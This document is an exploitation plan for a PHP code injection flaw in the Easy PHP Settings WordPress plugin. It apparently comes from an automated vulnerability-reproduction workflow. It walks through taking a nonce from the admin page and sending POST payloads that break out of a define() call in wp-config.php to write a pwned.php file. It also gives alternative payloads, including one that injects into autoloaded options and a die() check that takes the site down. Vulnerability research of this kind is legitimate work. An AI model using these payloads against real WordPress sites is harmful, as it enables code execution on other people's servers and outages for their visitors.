Exploitation Research Plan: CVE-2026-3352 - Easy PHP Settings PHP Code Injection

1. Vulnerability Summary

The Easy PHP Settings plugin (up to version 1.0.4) is vulnerable to authenticated PHP Code Injection. The vulnerability exists in the update_wp_memory_constants() method, which is responsible for updating WordPress memory constants (WP_MEMORY_LIMIT and WP_MAX_MEMORY_LIMIT) in the wp-config.php file.

The plugin uses sanitize_text_field() to sanitize user-provided values for these settings. However, sanitize_text_field() does not remove single quotes ('). This allows an administrator to provide a value that breaks out of the single-quoted string context in a PHP define() statement, enabling the injection of arbitrary PHP code directly into wp-config.php.

2. Attack Vector Analysis

• Endpoint: WordPress Admin Dashboard, specifically the settings page for Easy PHP Settings.
• Hook: admin_init.
• Target Method: Easy_PHP_Settings::update_wp_memory_constants() (likely called via a handler in admin_init).
• Vulnerable Parameters: wp_memory_limit or wp_max_memory_limit.
• Authentication Level: Administrator or higher (Network Admin in multisite). The get_capability() method returns manage_network_options for multisite and manage_options otherwise.
• Precondition: The wp-config.php file must be writable by the web server (a common requirement for this plugin's functionality).

3. Code Flow

1. Entry Point: An Administrator sends a POST request to wp-admin/admin.php?page=easy-php-settings (or tools.php?page=easy-php-settings) to save memory settings.
2. Initialization: The Easy_PHP_Settings::__construct registers several methods to the admin_init hook. One of these (inferred to be related to memory settings) handles the POST data.
3. Processing: The plugin identifies that wp_memory_limit or wp_max_memory_limit is present in the request.
4. Vulnerable Method: The plugin calls update_wp_memory_constants().
5. Sanitization Failure: The code applies sanitize_text_field() to the input.
   • Input: 256M'); file_put_contents('rce.php', '<?php phpinfo();'); //
   • Sanitized: 256M'); file_put_contents('rce.php', '<?php phpinfo();'); // (Single quotes remain).
6. Sink: The plugin reads wp-config.php, performs a replacement to update the define('WP_MEMORY_LIMIT', '...') line, and writes the modified content back using file_put_contents.
7. Execution: Since wp-config.php is loaded on every page request, the injected code executes immediately upon the next request.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its actions. In enqueue_styles, it localizes script data:

• JS Object: easy_php_settingsAdminVars
• Nonce Key: nonce
• Action String: easy_php_settings_ajax_nonce

To obtain the nonce:

1. Navigate to the plugin settings page: /wp-admin/tools.php?page=easy-php-settings.
2. Execute the following via browser_eval:

   window.easy_php_settingsAdminVars?.nonce
   

3. If the settings update uses a standard form nonce (e.g., _wpnonce), it can be extracted from the HTML:

   document.querySelector('input[name="_wpnonce"]')?.value
   

5. Exploitation Strategy

Step 1: Authentication

Log in as an Administrator.

Step 2: Extract Nonce

Navigate to /wp-admin/tools.php?page=easy-php-settings and extract the nonce using the strategy in Section 4.

Step 3: Trigger PHP Injection

Send a POST request to the admin interface. Based on the plugin's structure, it likely uses a tab-based system. We will target the wp_memory_limit parameter.

• Request URL: /wp-admin/tools.php?page=easy-php-settings
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload:

  _wpnonce=[NONCE]&wp_memory_limit=256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //&action=update_memory_settings
  

  (Note: The action parameter and exact POST body structure should be confirmed by inspecting the form on the page.)

Step 4: Execution Trigger

Navigate to any page (e.g., the homepage /) to trigger the execution of wp-config.php.

Step 5: Verify RCE

Check if the file pwned.php was created.

6. Test Data Setup

1. Install and activate the Easy PHP Settings plugin version 1.0.4.
2. Ensure the environment has an Administrator user.
3. Verify that wp-config.php contains the standard WP_MEMORY_LIMIT definition or is in a state where the plugin can insert it.
4. Ensure the web server has write permissions to wp-config.php and the root directory.

7. Expected Results

• The POST request should return a 302 redirect or a 200 OK success message.
• The wp-config.php file will be modified to include:

  define( 'WP_MEMORY_LIMIT', '256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //' );
  

• A subsequent request to any WordPress page will execute the file_put_contents call.
• Accessing /pwned.php will display the PHP info page.

8. Verification Steps

1. Check Config: Use WP-CLI to inspect the wp-config.php contents:

   cat /var/www/html/wp-config.php | grep "WP_MEMORY_LIMIT"
   

2. Check File Creation:

   ls -la /var/www/html/pwned.php
   

3. HTTP Verification:
   Request /pwned.php and check for the string "PHP Version".

9. Alternative Approaches

If the plugin uses a specific admin_init handler that requires different parameters:

• Alternative Parameter: Target wp_max_memory_limit.
• Blind Execution: If file_put_contents fails due to directory permissions, use update_option to inject a backdoor into an autoloaded option:
  256M');update_option('rce_check','executed');//
• Error-Based: Use die() to confirm execution:
  256M');die('VULNERABLE_CHECK');// (Site will go down with "VULNERABLE_CHECK" until config is fixed).